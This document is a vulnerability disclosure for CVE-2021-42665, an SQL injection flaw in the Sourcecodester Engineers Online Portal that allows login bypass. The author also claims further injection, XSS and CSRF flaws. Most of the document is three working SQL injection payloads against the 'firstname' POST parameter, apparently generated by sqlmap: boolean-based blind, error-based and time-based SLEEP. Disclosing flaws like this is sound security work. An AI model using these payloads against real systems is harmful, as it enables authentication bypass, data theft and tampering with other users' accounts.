CVE-2021-42665
Vendor
Description:
An SQL Injection vulnerability exists in Sourcecodester Engineers Online Portal in PHP via the login form inside of index.php, which can allow an attacker to bypass authentication. And five more SQL - Injections, the attacker can bypass all accounts of this system and he can manipulate those accounts with malicious purposes and destroy the owners of these accounts. This system also has six more XSS: 4 reflected and 2 (CSRF) vulnerabilities! Status: Critical and extremely awful! Conclusion: This system must be stopped from distribution immediately! BR nu11secur1ty
Types of SQL Injections:
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Parameter: firstname (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: firstname=tbcRxVrk' OR NOT 6030=6030#&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: firstname=tbcRxVrk' AND (SELECT 4603 FROM(SELECT COUNT(*),CONCAT(0x716b717671,(SELECT (ELT(4603=4603,1))),0x717a627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- upfj&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: firstname=tbcRxVrk' AND (SELECT 2357 FROM (SELECT(SLEEP(5)))mNaQ)-- xKTb&lastname=tbcRxVrk&department_id='&username=tbcRxVrk&password=x6P!w4r!A0&cpassword=x6P!w4r!A0
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